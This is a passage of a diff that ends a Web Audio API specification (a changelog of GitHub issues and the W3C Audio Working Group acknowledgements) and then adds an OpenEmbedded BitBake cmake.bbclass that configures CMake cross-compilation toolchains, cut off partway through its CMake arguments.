+ * <a href="https://github.com/WebAudio/web-audio-api/issues/2169">Issue 2169</a>: AudioParamDescriptor has member constraints that are redundant
+ * <a href="https://github.com/WebAudio/web-audio-api/issues/1457">Issue 1457</a>: [privacy] Exposing data to an origin: fingerprinting
+ * <a href="https://github.com/WebAudio/web-audio-api/issues/2061">Issue 2061</a>: Privacy re-review of latest changes
+ * <a href="https://github.com/WebAudio/web-audio-api/issues/2225">Issue 2225</a>: Describe "Planar versus interleaved buffers"
+ * <a href="https://github.com/WebAudio/web-audio-api/issues/2231">Issue 2231</a>: WaveShaper [[curve set]] not defined
+ * <a href="https://github.com/WebAudio/web-audio-api/issues/2240">Issue 2240</a>: Align with Web IDL specification
+ * <a href="https://github.com/WebAudio/web-audio-api/issues/2242">Issue 2242</a>: LInk to undefined instead of using `<code>`
+ * <a href="https://github.com/WebAudio/web-audio-api/issues/2227">Issue 2227</a>: Clarify buffer.copyToChannel() must be called before source.buffer = buffer else nothing is played
+ * <a href="https://github.com/WebAudio/web-audio-api/pull/2253">PR 2253</a>: Fix duplicated IDs for decode callbacks
+ * <a href="https://github.com/WebAudio/web-audio-api/issues/2252">Issue 2252</a>: When are promises in "[[pending resume promises]]" resolved?
+ * <a href="https://github.com/WebAudio/web-audio-api/pull/2266">PR 2266</a>: Prohibit arbitrary termination of AudioWorkletGlobalScopes
+
+<h3 id="changestart1">
+ Since Candidate Recommendation of 18 September 2018
+</h3>
+<!-- Last updated: 2020-04-29 -->
+* <a href="https://github.com/WebAudio/web-audio-api/issues/2193">Issue 2193</a>: Incorrect azimuth comparison in spatialization algorithm
+* <a href="https://github.com/WebAudio/web-audio-api/issues/2197">Issue 2192</a>: Waveshaper curve interpolation algorithm incorrect
+* <a href="https://github.com/WebAudio/web-audio-api/issues/2171">Issue 2171</a>: Allow not having get parameterDescriptors in an AudioWorkletProcessor
+* <a href="https://github.com/WebAudio/web-audio-api/issues/2184">Issue 2184</a>: PannerNode refDistance description unclear
+* <a href="https://github.com/WebAudio/web-audio-api/issues/2165">Issue 2165</a>: AudioScheduledSourceNode start algorithm incomplete
+* <a href="https://github.com/WebAudio/web-audio-api/issues/2155">Issue 2155</a>: Restore changes accidentally reverted in bikeshed conversion
+* <a href="https://github.com/WebAudio/web-audio-api/issues/2154">Issue 2154</a>: Exception for changing channelCountMode on ScriptProcessorNode does not match browsers
+* <a href="https://github.com/WebAudio/web-audio-api/issues/2153">Issue 2153</a>: Exception for changing channelCount on ScriptProcessorNode does not match browsers
+* <a href="https://github.com/WebAudio/web-audio-api/issues/2152">Issue 2152</a>: close() steps don't make sense
+* <a href="https://github.com/WebAudio/web-audio-api/issues/2150">Issue 2150</a>: AudioBufferOptions requires throwing NotFoundError in cases that can't happen
+* <a href="https://github.com/WebAudio/web-audio-api/issues/2149">Issue 2149</a>: MediaStreamAudioSourceNode constructor has weird check for AudioContext
+* <a href="https://github.com/WebAudio/web-audio-api/issues/2148">Issue 2148</a>: IIRFilterOptions description makes impossible demands
+* <a href="https://github.com/WebAudio/web-audio-api/issues/2147">Issue 2147</a>: PeriodicWave constructor examines lengths of things that might not be there
+* <a href="https://github.com/WebAudio/web-audio-api/issues/2113">Issue 2113</a>: BiquadFilter gain lower bound can be lower.
+* <a href="https://github.com/WebAudio/web-audio-api/issues/2096">Issue 2096</a>: Lifetime of pending processor construction data and exceptions in instantiation of AudioWorkletProcessor
+* <a href="https://github.com/WebAudio/web-audio-api/issues/2087">Issue 2087</a>: Minor issues with BiquadFilter AudioParams
+* <a href="https://github.com/WebAudio/web-audio-api/issues/2083">Issue 2083</a>: Missing text in WaveShaperNode?
+* <a href="https://github.com/WebAudio/web-audio-api/issues/2082">Issue 2082</a>: WaveShaperNode curve interpolation incomplete
+* <a href="https://github.com/WebAudio/web-audio-api/issues/2074">Issue 2074</a>: Should the AudioWorkletNode constructor invoke the algorithm for initializing an object that inherits from AudioNode?
+* <a href="https://github.com/WebAudio/web-audio-api/issues/2073">Issue 2073</a>: Inconsistencies in constructor descriptions and factory method initialization
+* <a href="https://github.com/WebAudio/web-audio-api/issues/2072">Issue 2072</a>: Clarification on `AudioBufferSourceNode` looping, and loop points
+* <a href="https://github.com/WebAudio/web-audio-api/issues/2071">Issue 2071</a>: cancelScheduledValues with setValueCurveAtTime
+* <a href="https://github.com/WebAudio/web-audio-api/issues/2060">Issue 2060</a>: Would it be helpful to restrict use of `AudioWorkletProcessor.port().postMessage()` in order to facilitate garbage collection?
+* <a href="https://github.com/WebAudio/web-audio-api/issues/2051">Issue 2051</a>: Update to constructor operations
+* <a href="https://github.com/WebAudio/web-audio-api/issues/2050">Issue 2050</a>: Restore ConvolverNode channel mixing configurability (up to 2 channels)
+* <a href="https://github.com/WebAudio/web-audio-api/issues/2045">Issue 2045</a>: Should the check on `process()` be removed from `AudioWorkletGlobalScope.registerProcessor()`?
+* <a href="https://github.com/WebAudio/web-audio-api/issues/2044">Issue 2044</a>: Remove `options` parameter from `AudioWorkletProcessor` constructor WebIDL
+* <a href="https://github.com/WebAudio/web-audio-api/issues/2036">Issue 2036</a>: Remove `options` parameter of `AudioWorkletProcessor` constructor
+* <a href="https://github.com/WebAudio/web-audio-api/issues/2035">Issue 2035</a>: De-duplicate initial value setting on AudioWorkletNode AudioParams
+* <a href="https://github.com/WebAudio/web-audio-api/issues/2027">Issue 2027</a>: Revise "processor construction data" algorithm
+* <a href="https://github.com/WebAudio/web-audio-api/issues/2021">Issue 2021</a>: AudioWorkletProcessor constructor leads to infinite recursion
+* <a href="https://github.com/WebAudio/web-audio-api/issues/2018">Issue 2018</a>: There are still issues with the setup of an AudioWorkletNode's parameters
+* <a href="https://github.com/WebAudio/web-audio-api/issues/2016">Issue 2016</a>: Clarify `parameters` in AudioWorkletProcessor.process()
+* <a href="https://github.com/WebAudio/web-audio-api/issues/2011">Issue 2011</a>: AudioWorkletNodeOptions.processorOptions should not default to null.
+* <a href="https://github.com/WebAudio/web-audio-api/issues/1989">Issue 1989</a>: Please update to Web IDL changes to optional dictionary defaulting
+* <a href="https://github.com/WebAudio/web-audio-api/issues/1984">Issue 1984</a>: Handling of exceptions in audio worklet is not very clear
+* <a href="https://github.com/WebAudio/web-audio-api/issues/1976">Issue 1976</a>: AudioWorkletProcessor's [[node reference]] seems to be write-only
+* <a href="https://github.com/WebAudio/web-audio-api/issues/1972">Issue 1972</a>: parameterDescriptors handling during AudioWorkletNode initialization is probably wrong
+* <a href="https://github.com/WebAudio/web-audio-api/issues/1971">Issue 1971</a>: AudioWorkletNode options serialization is underdefined
+* <a href="https://github.com/WebAudio/web-audio-api/issues/1970">Issue 1970</a>: "active source" flag handling is a weird monkeypatch
+* <a href="https://github.com/WebAudio/web-audio-api/issues/1969">Issue 1969</a>: It would be clearer if the various validation of AudioWorkletNodeOptions were an explicit step or set of steps
+* <a href="https://github.com/WebAudio/web-audio-api/issues/1966">Issue 1966</a>: parameterDescriptors is not looked up by the AudioWorkletProcessor constructor
+* <a href="https://github.com/WebAudio/web-audio-api/issues/1963">Issue 1963</a>: NewTarget check for AudioWorkletProcessor isn't actually possible with a Web IDL constructor
+* <a href="https://github.com/WebAudio/web-audio-api/issues/1947">Issue 1947</a>: Spec is inconsistent about whether parameterDescriptors is an array or an iterable
+* <a href="https://github.com/WebAudio/web-audio-api/issues/1946">Issue 1946</a>: Population of "node name to parameter descriptor map" needs to be defined
+* <a href="https://github.com/WebAudio/web-audio-api/issues/1945">Issue 1945</a>: registerProcessor is doing odd things with threads and JS values
+* <a href="https://github.com/WebAudio/web-audio-api/issues/1943">Issue 1943</a>: Describe how WaveShaperNode shapes the input with the curve
+* <a href="https://github.com/WebAudio/web-audio-api/issues/1935">Issue 1935</a>: length of AudioWorkletProcessor.process() parameter sequences with inactive inputs
+* <a href="https://github.com/WebAudio/web-audio-api/issues/1932">Issue 1932</a>: Make AudioWorkletNode output buffer available for reading
+* <a href="https://github.com/WebAudio/web-audio-api/issues/1925">Issue 1925</a>: front vs forward
+* <a href="https://github.com/WebAudio/web-audio-api/issues/1902">Issue 1902</a>: Mixer Gain Structure section not needed
+* <a href="https://github.com/WebAudio/web-audio-api/issues/1906">Issue 1906</a>: Steps in rendering algorithm
+* <a href="https://github.com/WebAudio/web-audio-api/issues/1905">Issue 1905</a>: Rendering callbacks are observable
+* <a href="https://github.com/WebAudio/web-audio-api/issues/1904">Issue 1904</a>: Strange Note in algorithm for swapping a control message queue
+* <a href="https://github.com/WebAudio/web-audio-api/issues/1903 ">Issue 1903</a>: Funny sentence about priority and latency
+* <a href="https://github.com/WebAudio/web-audio-api/issues/1901">Issue 1901</a>: AudioWorkletNode state property?
+* <a href="https://github.com/WebAudio/web-audio-api/issues/1900">Issue 1900</a>: AudioWorkletProcessor NewTarget undefined
+* <a href="https://github.com/WebAudio/web-audio-api/issues/1899">Issue 1899</a>: Missing synchronous markers
+* <a href="https://github.com/WebAudio/web-audio-api/issues/1897">Issue 1897</a>: WaveShaper curve value setter allows multiple sets
+* <a href="https://github.com/WebAudio/web-audio-api/issues/1896">Issue 1896</a>: WaveShaperNode constructor says curve set is initialized to false
+* <a href="https://github.com/WebAudio/web-audio-api/issues/1471">Issue #1471</a>: AudioNode Lifetime section seems to attempt to make garbage collection observable
+* <a href="https://github.com/WebAudio/web-audio-api/issues/1893">Issue #1893</a>: Active processing for Panner/Convolver/ChannelMerger
+* <a href="https://github.com/WebAudio/web-audio-api/issues/1894">Issue #1894</a>: Funny text in PannerNode.orientationX
+* <a href="https://github.com/WebAudio/web-audio-api/issues/1866">Issue #1866</a>: References to garbage collection
+* <a href="https://github.com/WebAudio/web-audio-api/issues/1851">Issue #1851</a>: Parameter values used for BiquadFilterNode::getFrequencyResponse
+* <a href="https://github.com/WebAudio/web-audio-api/issues/1905">Issue #1905</a>: Rendering callbacks are observable
+* <a href="https://github.com/WebAudio/web-audio-api/issues/1879">Issue #1879</a>: ABSN playback algorithm offset
+* <a href="https://github.com/WebAudio/web-audio-api/issues/1882">Issue #1882</a>: Biquad lowpass/highpass Q
+* <a href="https://github.com/WebAudio/web-audio-api/issues/1303">Issue #1303</a>: MediaElementAudioSourceNode information in a funny place
+* <a href="https://github.com/WebAudio/web-audio-api/issues/1896">Issue #1896</a>: WaveShaperNode constructor says curve set is initialized to false
+* <a href="https://github.com/WebAudio/web-audio-api/issues/1897">Issue #1897</a>: WaveShaper curve value setter allows multiple sets.
+* <a href="https://github.com/WebAudio/web-audio-api/issues/1880">Issue #1880</a>: setOrientation description has confusing paragraph
+* <a href="https://github.com/WebAudio/web-audio-api/issues/1855">Issue #1855</a>: createScriptProcessor parameter requirements
+* <a href="https://github.com/WebAudio/web-audio-api/issues/1857">Issue #1857</a>: Fix typos and bad phrasing
+* <a href="https://github.com/WebAudio/web-audio-api/issues/1788">Issue #1788</a>: Unclear what value is returned by AudioParam.value
+* <a href="https://github.com/WebAudio/web-audio-api/issues/1852">Issue #1852</a>: Fix error condition of AudioNode.disconnect(destinationNode, output, input)
+* <a href="https://github.com/WebAudio/web-audio-api/issues/1841">Issue #1841</a>: Recovering from unstable biquad filters?
+* <a href="https://github.com/WebAudio/web-audio-api/issues/1777">Issue #1777</a>: Picture of the coordinate system for panner node
+* <a href="https://github.com/WebAudio/web-audio-api/issues/1802">Issue #1802</a>: Clarify interaction between user-invoked suspend and autoplay policy
+* <a href="https://github.com/WebAudio/web-audio-api/issues/1822">Issue #1822</a>: OfflineAudioContext.suspend can suspend before the given time
+* <a href="https://github.com/WebAudio/web-audio-api/issues/1772">Issue #1772</a>: Sorting tracks alphabetically is underspecified
+* <a href="https://github.com/WebAudio/web-audio-api/issues/1797">Issue #1797</a>: Specification is incomplete for AudioNode.connect()
+* <a href="https://github.com/WebAudio/web-audio-api/issues/1805">Issue #1805</a>: Exception ordering on error
+* <a href="https://github.com/WebAudio/web-audio-api/issues/1790">Issue #1790</a>: Automation example chart has an error (reversed function arguments
+* Fix rendering algorithm iteration and cycle breaking
+* <a href="https://github.com/WebAudio/web-audio-api/issues/1719">Issue #1719</a>: channel count changes in filter nodes with tail time
+* <a href="https://github.com/WebAudio/web-audio-api/issues/1563">Issue #1563</a>: Make decodeAudioData more precise
+* <a href="https://github.com/WebAudio/web-audio-api/issues/1481">Issue #1481</a>: Tighten spec on ABSN output channels?
+* <a href="https://github.com/WebAudio/web-audio-api/issues/1762">Issue #1762</a>: Setting convolver buffer more than once?
+* <a href="https://github.com/WebAudio/web-audio-api/issues/1758">Issue #1758</a>: Explicitly include time-domain processing code for BiquadFilterNode
+* <a href="https://github.com/WebAudio/web-audio-api/issues/1770">Issue #1770</a>: Link to correct algorithm for StereoPannerNode, mention algorithm is equal-power
+* <a href="https://github.com/WebAudio/web-audio-api/issues/1753">Issue #1753</a>: Have a single `AudioWorkletGlobalScope` per `BaseAudioContext`
+* <a href="https://github.com/WebAudio/web-audio-api/issues/1746">Issue #1746</a>: AnalyserNode: Clarify how much time domain data we're supposed to keep around
+* <a href="https://github.com/WebAudio/web-audio-api/issues/1741">Issue #1741</a>: Sample rate of AudioBuffer
+* <a href="https://github.com/WebAudio/web-audio-api/issues/1745">Issue #1745</a>: Clarify unit of fftSize
+* <a href="https://github.com/WebAudio/web-audio-api/issues/1743">Issue #1743</a>: Missing normative reference to Fetch
+* Use "get a reference to the bytes" algorithm as needed.
+* Specify rules for determining output chanel count.
+* Clarified rendering algorithm for AudioListener.
+	<h3 id="changestart2">
+	Since Working Draft of 19 June 2018
+	</h3>
+* Minor editorial clarifications.
+* Update implementation-report.html.
+* Widen the valid range of detune values so that any value that doesn't cause 2^(d/1200) to overflow is valid.
+* PannerNode constructor throws errors.
+* Rephrase algorithm for setting buffer and curve.
+* Refine startRendering algorithm.
+* Make "queue a task" link to the HTML spec.
+* Specify more precisely, events overlapping with SetValueCurveAtTime.
+* Add implementation report to gh-pages.
+* Honor the given value in `outputChannelCount`.
+* Initialize bufferDuration outside of process() in ABSN algorithm.
+* Rework definition of ABSN output behavior to account for playbackRate’s interaction with the start(…duration) argument.
+* Add mention of video element in ultrasonic attack surface.
+
+<h3 id="changestart3">
+Since Working Draft of 08 December 2015</h3>
+* Add AudioWorklet and related interfaces to support custom nodes. This replaces ScriptProcessorNode, which is now deprecated.
+* Explicitly say what the channel count, mode, and interpretation values are for all source nodes.
+* Specify the behavior of Web Audio when a document is unloaded.
+* Merge the proposed SpatialListener interface into AudioListener.
+* Rework and clean up algorithms for panning and spatialization and define "magic functions".
+* Clarify that AudioBufferSourceNode looping is limited by duration argument to start().
+* Add constructors with options dictionaries for all node types.
+* Clarify parameter automation method behavior and equations. Handle cases where automation methods may interact with each other.
+* Support latency hints and arbitrary sample rates in AudioContext constructor.
+* Clear up ambiguities in definitions of start() and stop() for scheduled sources.
+* Remove automatic dezippering from AudioParam value setters which now equate to setValueAtTime().
+* Specify normative behavior of DynamicsCompressorNode.
+* Specify that AudioParam.value returns the most recent computed value.
+* Permit AudioBufferSourceNode to specify sub-sample start, duration, loopStart and loopEnd. Respecify algorithms to say exactly how looping works in all scenarios, including dynamic and negative playback rates.
+* Harmonized behavior of IIRFilterNode with BiquadFilterNode.
+* Add diagram describing mono-input-to-matrixed-stereo case.
+* Prevent connecting an AudioNode to an AudioParam of a different AudioContext.
+* Added Audioparam cancelAndHoldAtTime
+* Clarify behaviour of AudioParam.cancelScheduledValues().
+* Add playing reference to MediaElementAudioSourceNodes and MediaStreamAudioSourceNodes.
+* Refactor BaseAudioContext interface out of AudioContext, OfflineAudioContext.
+* OfflineAudioContext inherits from BaseAudioContext, not AudioContext.
+* "StereoPanner" replaced with the correct "StereoPannerNode".
+* Support chaining on AudioNode.connect() and AudioParam automation methods.
+* Specify behavior of events following SetTarget events.
+* Reinstate channelCount declaration for AnalyserNode.
+* Specify exponential ramp behavior when previous value is 0.
+* Specify behavior of setValueCurveAtTime parameters.
+* Add spatialListener attribute to AudioContext.
+* Remove section titled "Doppler Shift".
+* Added a list of nodes and reason why they can add latency, in an informative section.
+* Speced nominal ranges, nyquist, and behavior when outside the range.
+* Spec the processing model for the Web Audio API.
+* Merge the SpatialPannerNode into the PannerNode, undeprecating the PannerNode.
+* Merge the SpatialListener into the AudioListener, undeprecating the AudioListener.
+* Added latencyHint(s).
+* Move the constructor from BaseAudioContext to AudioContext where it belongs; BaseAudioContext is not constructible.
+* Specified the Behavior of automations and nominal ranges.
+* The playbackRate is widened to +/- infinity.
+* setValueCurveAtTime is modified so that an implicit call to setValueAtTime is made at the end of the curve duration.
+* Make setting the `value` attribute of an `AudioParam` strictly equivalent of calling setValueAtTime with AudioContext.currentTime.
+* Add new sections for AudioContextOptions and AudioTimestamp.
+* Add constructor for all nodes.
+* Define ConstantSourceNode.
+* Make the WaveShaperNode have a tail time, depending on the oversampling level.
+* Allow collecting MediaStreamAudioSourceNode or MediaElementAudioSourceNode when they won't play ever again.
+* Add a concept of 'allowed to start' and use it when creating an AudioContext and resuming it from resume() (closes #836).
+* Add AudioScheduledSourceNode base class for source nodes.
+* Mark all AudioParams as being k-rate.
+
+<h2 id="acks">
+Acknowledgements</h2>
+
+This specification is the collective work of the W3C <a href="http://www.w3.org/2011/audio/">Audio Working Group</a>.
+
+Members and former members of the Working Group and contributors to the specification are (at the time of writing, and by
+alphabetical order):<br>
+Adenot, Paul (Mozilla Foundation) - Specification Co-editor;
+Akhgari, Ehsan (Mozilla Foundation);
+Becker, Steven (Microsoft Corporation);
+Berkovitz, Joe (Invited Expert, affiliated with Noteflight/Hal Leonard) - WG co-chair from September 2013 to December 2017);
+Bossart, Pierre (Intel Corporation);
+Borins, Myles (Google, Inc);
+Buffa, Michel (NSAU);
+Caceres, Marcos (Invited Expert);
+Cardoso, Gabriel (INRIA);
+Carlson, Eric (Apple, Inc);
+Chen, Bin (Baidu, Inc);
+Choi, Hongchan (Google, Inc) - Specification Co-editor;
+Collichio, Lisa (Qualcomm);
+Geelnard, Marcus (Opera Software);
+Gehring, Todd (Dolby Laboratories);
+Goode, Adam (Google, Inc);
+Gregan, Matthew (Mozilla Foundation);
+Hikawa, Kazuo (AMEI);
+Hofmann, Bill (Dolby Laboratories);
+Jägenstedt, Philip (Google, Inc);
+Jeong, Paul Changjin (HTML5 Converged Technology Forum);
+Kalliokoski, Jussi (Invited Expert);
+Lee, WonSuk (Electronics and Telecommunications Research Institute);
+Kakishita, Masahiro (AMEI);
+Kawai, Ryoya (AMEI);
+Kostiainen, Anssi (Intel Corporation);
+Lilley, Chris (W3C Staff);
+Lowis, Chris (Invited Expert) - WG co-chair from December 2012 to September 2013, affiliated with British Broadcasting Corporation;
+MacDonald, Alistair (W3C Invited Experts) — WG co-chair from March 2011 to July 2012;
+Mandyam, Giridhar (Qualcomm Innovation Center, Inc);
+Michel, Thierry (W3C/ERCIM);
+Nair, Varun (Facebook);
+Needham, Chris (British Broadcasting Corporation);
+Noble, Jer (Apple, Inc);
+O'Callahan, Robert(Mozilla Foundation);
+Onumonu, Anthony (British Broadcasting Corporation);
+Paradis, Matthew (British Broadcasting Corporation) - WG co-chair from September 2013 to present;
+Pozdnyakov, Mikhail (Intel Corporation);
+Raman, T.V. (Google, Inc);
+Rogers, Chris (Google, Inc);
+Schepers, Doug (W3C/MIT);
+Schmitz, Alexander (JS Foundation);
+Shires, Glen (Google, Inc);
+Smith, Jerry (Microsoft Corporation);
+Smith, Michael (W3C/Keio);
+Thereaux, Olivier (British Broadcasting Corporation);
+Toy, Raymond (Google, Inc.) - WG co-chair from December 2017 - Present;
+Toyoshima, Takashi (Google, Inc);
+Troncy, Raphael (Institut Telecom);
+Verdie, Jean-Charles (MStar Semiconductor, Inc.);
+Wei, James (Intel Corporation);
+Weitnauer, Michael (IRT);
+Wilson, Chris (Google,Inc);
+Zergaoui, Mohamed (INNOVIMAX)
diff --git a/samples/BitBake/cmake.bbclass b/samples/BitBake/cmake.bbclass
new file mode 100644
index 0000000000..d978b88944
--- /dev/null
+++ b/samples/BitBake/cmake.bbclass
@@ -0,0 +1,233 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+# Path to the CMake file to process.
+OECMAKE_SOURCEPATH ??= "${S}"
+
+DEPENDS:prepend = "cmake-native "
+B = "${WORKDIR}/build"
+
+# What CMake generator to use.
+# The supported options are "Unix Makefiles" or "Ninja".
+OECMAKE_GENERATOR ?= "Ninja"
+
+python() {
+    generator = d.getVar("OECMAKE_GENERATOR")
+    if "Unix Makefiles" in generator:
+        args = "-G '" + generator +  "' -DCMAKE_MAKE_PROGRAM=" + d.getVar("MAKE")
+        d.setVar("OECMAKE_GENERATOR_ARGS", args)
+        d.setVarFlag("do_compile", "progress", "percent")
+    elif "Ninja" in generator:
+        args = "-G '" + generator + "' -DCMAKE_MAKE_PROGRAM=ninja"
+        d.appendVar("DEPENDS", " ninja-native")
+        d.setVar("OECMAKE_GENERATOR_ARGS", args)
+        d.setVarFlag("do_compile", "progress", r"outof:^\[(\d+)/(\d+)\]\s+")
+    else:
+        bb.fatal("Unknown CMake Generator %s" % generator)
+}
+OECMAKE_AR ?= "${AR}"
+
+# Compiler flags
+OECMAKE_C_FLAGS ?= "${HOST_CC_ARCH} ${TOOLCHAIN_OPTIONS} ${CFLAGS}"
+OECMAKE_CXX_FLAGS ?= "${HOST_CC_ARCH} ${TOOLCHAIN_OPTIONS} ${CXXFLAGS}"
+OECMAKE_C_FLAGS_RELEASE ?= "-DNDEBUG"
+OECMAKE_CXX_FLAGS_RELEASE ?= "-DNDEBUG"
+OECMAKE_C_LINK_FLAGS ?= "${HOST_CC_ARCH} ${TOOLCHAIN_OPTIONS} ${CPPFLAGS} ${LDFLAGS}"
+OECMAKE_CXX_LINK_FLAGS ?= "${HOST_CC_ARCH} ${TOOLCHAIN_OPTIONS} ${CXXFLAGS} ${LDFLAGS}"
+
+def oecmake_map_compiler(compiler, d):
+    args = d.getVar(compiler).split()
+    if args[0] == "ccache":
+        return args[1], args[0]
+    return args[0], ""
+
+# C/C++ Compiler (without cpu arch/tune arguments)
+OECMAKE_C_COMPILER ?= "${@oecmake_map_compiler('CC', d)[0]}"
+OECMAKE_C_COMPILER_LAUNCHER ?= "${@oecmake_map_compiler('CC', d)[1]}"
+OECMAKE_CXX_COMPILER ?= "${@oecmake_map_compiler('CXX', d)[0]}"
+OECMAKE_CXX_COMPILER_LAUNCHER ?= "${@oecmake_map_compiler('CXX', d)[1]}"
+
+# clear compiler vars for allarch to avoid sig hash difference
+OECMAKE_C_COMPILER:allarch = ""
+OECMAKE_C_COMPILER_LAUNCHER:allarch = ""
+OECMAKE_CXX_COMPILER:allarch = ""
+OECMAKE_CXX_COMPILER_LAUNCHER:allarch = ""
+
+OECMAKE_RPATH ?= ""
+OECMAKE_PERLNATIVE_DIR ??= ""
+OECMAKE_EXTRA_ROOT_PATH ?= ""
+
+OECMAKE_FIND_ROOT_PATH_MODE_PROGRAM = "ONLY"
+
+EXTRA_OECMAKE:append = " ${PACKAGECONFIG_CONFARGS}"
+
+export CMAKE_BUILD_PARALLEL_LEVEL
+CMAKE_BUILD_PARALLEL_LEVEL:task-compile = "${@oe.utils.parallel_make(d, False)}"
+CMAKE_BUILD_PARALLEL_LEVEL:task-install = "${@oe.utils.parallel_make(d, True)}"
+
+OECMAKE_TARGET_COMPILE ?= "all"
+OECMAKE_TARGET_INSTALL ?= "install"
+
+def map_host_os_to_system_name(host_os):
+    if host_os.startswith('mingw'):
+        return 'Windows'
+    if host_os.startswith('linux'):
+        return 'Linux'
+    return host_os
+
+# CMake expects target architectures in the format of uname(2),
+# which do not always match TARGET_ARCH, so all the necessary
+# conversions should happen here.
+def map_host_arch_to_uname_arch(host_arch):
+    if host_arch == "powerpc":
+        return "ppc"
+    if host_arch == "powerpc64le":
+        return "ppc64le"
+    if host_arch == "powerpc64":
+        return "ppc64"
+    return host_arch
+
+
+cmake_do_generate_toolchain_file() {
+	if [ "${BUILD_SYS}" = "${HOST_SYS}" ]; then
+		cmake_crosscompiling="set( CMAKE_CROSSCOMPILING FALSE )"
+	else
+		cmake_sysroot="set( CMAKE_SYSROOT \"${RECIPE_SYSROOT}\" )"
+	fi
+
+	cat > ${WORKDIR}/toolchain.cmake <<EOF
+# CMake system name must be something like "Linux".
+# This is important for cross-compiling.
+$cmake_crosscompiling
+set( CMAKE_SYSTEM_NAME ${@map_host_os_to_system_name(d.getVar('HOST_OS'))} )
+set( CMAKE_SYSTEM_PROCESSOR ${@map_host_arch_to_uname_arch(d.getVar('HOST_ARCH'))} )
+set( CMAKE_C_COMPILER ${OECMAKE_C_COMPILER} )
+set( CMAKE_CXX_COMPILER ${OECMAKE_CXX_COMPILER} )
+set( CMAKE_C_COMPILER_LAUNCHER ${OECMAKE_C_COMPILER_LAUNCHER} )
+set( CMAKE_CXX_COMPILER_LAUNCHER ${OECMAKE_CXX_COMPILER_LAUNCHER} )
+set( CMAKE_ASM_COMPILER ${OECMAKE_C_COMPILER} )
+find_program( CMAKE_AR ${OECMAKE_AR} DOC "Archiver" REQUIRED )
+
+set( CMAKE_C_FLAGS "${OECMAKE_C_FLAGS}" CACHE STRING "CFLAGS" )
+set( CMAKE_CXX_FLAGS "${OECMAKE_CXX_FLAGS}" CACHE STRING "CXXFLAGS" )
+set( CMAKE_ASM_FLAGS "${OECMAKE_C_FLAGS}" CACHE STRING "ASM FLAGS" )
+set( CMAKE_C_FLAGS_RELEASE "${OECMAKE_C_FLAGS_RELEASE}" CACHE STRING "Additional CFLAGS for release" )
+set( CMAKE_CXX_FLAGS_RELEASE "${OECMAKE_CXX_FLAGS_RELEASE}" CACHE STRING "Additional CXXFLAGS for release" )
+set( CMAKE_ASM_FLAGS_RELEASE "${OECMAKE_C_FLAGS_RELEASE}" CACHE STRING "Additional ASM FLAGS for release" )
+set( CMAKE_C_LINK_FLAGS "${OECMAKE_C_LINK_FLAGS}" CACHE STRING "LDFLAGS" )
+set( CMAKE_CXX_LINK_FLAGS "${OECMAKE_CXX_LINK_FLAGS}" CACHE STRING "LDFLAGS" )
+
+# only search in the paths provided so cmake doesnt pick
+# up libraries and tools from the native build machine
+set( CMAKE_FIND_ROOT_PATH ${STAGING_DIR_HOST} ${STAGING_DIR_NATIVE} ${CROSS_DIR} ${OECMAKE_PERLNATIVE_DIR} ${OECMAKE_EXTRA_ROOT_PATH} ${EXTERNAL_TOOLCHAIN} ${HOSTTOOLS_DIR})
+set( CMAKE_FIND_ROOT_PATH_MODE_PACKAGE ONLY )
+set( CMAKE_FIND_ROOT_PATH_MODE_PROGRAM ${OECMAKE_FIND_ROOT_PATH_MODE_PROGRAM} )
+set( CMAKE_FIND_ROOT_PATH_MODE_LIBRARY ONLY )
+set( CMAKE_FIND_ROOT_PATH_MODE_INCLUDE ONLY )
+set( CMAKE_PROGRAM_PATH "/" )
+
+$cmake_sysroot
+
+# Use qt.conf settings
+set( ENV{QT_CONF_PATH} ${WORKDIR}/qt.conf )
+
+# We need to set the rpath to the correct directory as cmake does not provide any
+# directory as rpath by default
+set( CMAKE_INSTALL_RPATH ${OECMAKE_RPATH} )
+
+# Use RPATHs relative to build directory for reproducibility
+set( CMAKE_BUILD_RPATH_USE_ORIGIN ON )
+
+# Use our cmake modules
+list(APPEND CMAKE_MODULE_PATH "${STAGING_DATADIR}/cmake/Modules/")
+
+# add for non /usr/lib libdir, e.g. /usr/lib64
+set( CMAKE_LIBRARY_PATH ${libdir} ${base_libdir})
+
+# add include dir to implicit includes in case it differs from /usr/include
+list(APPEND CMAKE_C_IMPLICIT_INCLUDE_DIRECTORIES ${includedir})
+list(APPEND CMAKE_CXX_IMPLICIT_INCLUDE_DIRECTORIES ${includedir})
+
+EOF
+}
+
+addtask generate_toolchain_file after do_patch before do_configure
+
+CONFIGURE_FILES = "CMakeLists.txt *.cmake"
+
+do_configure[cleandirs] = "${@d.getVar('B') if d.getVar('S') != d.getVar('B') else ''}"
+
+OECMAKE_ARGS = "\
+    -DCMAKE_INSTALL_PREFIX:PATH=${prefix} \
+    -DCMAKE_INSTALL_BINDIR:PATH=${@os.path.relpath(d.getVar('bindir'), d.getVar('prefix') + '/')} \
+    -DCMAKE_INSTALL_SBINDIR:PATH=${@os.path.relpath(d.getVar('sbindir'), d.getVar('prefix') + '/')} \
+    -DCMAKE_INSTALL_LIBEXECDIR:PATH=${@os.path.relpath(d.getVar('libexecdir'), d.getVar('prefix') + '/')} \
+    -DCMAKE_INSTALL_SYSCONFDIR:PATH=${sysconfdir} \
+    -DCMAKE_INSTALL_SHAREDSTATEDIR:PATH=${@os.path.relpath(d.getVar('sharedstatedir'), d.  getVar('prefix') + '/')} \
+    -DCMAKE_INSTALL_LOCALSTATEDIR:PATH=${localstatedir} \
+    -DCMAKE_INSTALL_LIBDIR:PATH=${@os.path.relpath(d.getVar('libdir'), d.getVar('prefix') + '/')} \
+    -DCMAKE_INSTALL_INCLUDEDIR:PATH=${@os.path.relpath(d.getVar('includedir'), d.getVar('prefix') + '/')} \
+    -DCMAKE_INSTALL_DATAROOTDIR:PATH=${@os.path.relpath(d.getVar('datadir'), d.getVar('prefix') + '/')} \
+    -DPYTHON_EXECUTABLE:PATH=${PYTHON} \
+    -DPython_EXECUTABLE:PATH=${PYTHON} \
+    -DPython3_EXECUTABLE:PATH=${PYTHON} \
+    -DLIB_SUFFIX=${@d.getVar('baselib').replace('lib', '')} \
+    -DCMAKE_INSTALL_SO_NO_EXE=0 \
+    -DCMAKE_TOOLCHAIN_FILE:FILEPATH=${WORKDIR}/toolchain.cmake \
+    -DCMAKE_NO_SYSTEM_FROM_IMPORTED=1 \
+    -DCMAKE_EXPORT_NO_PACKAGE_REGISTRY=ON \
+    -DFETCHCONTENT_FULLY_DISCONNECTED=ON \
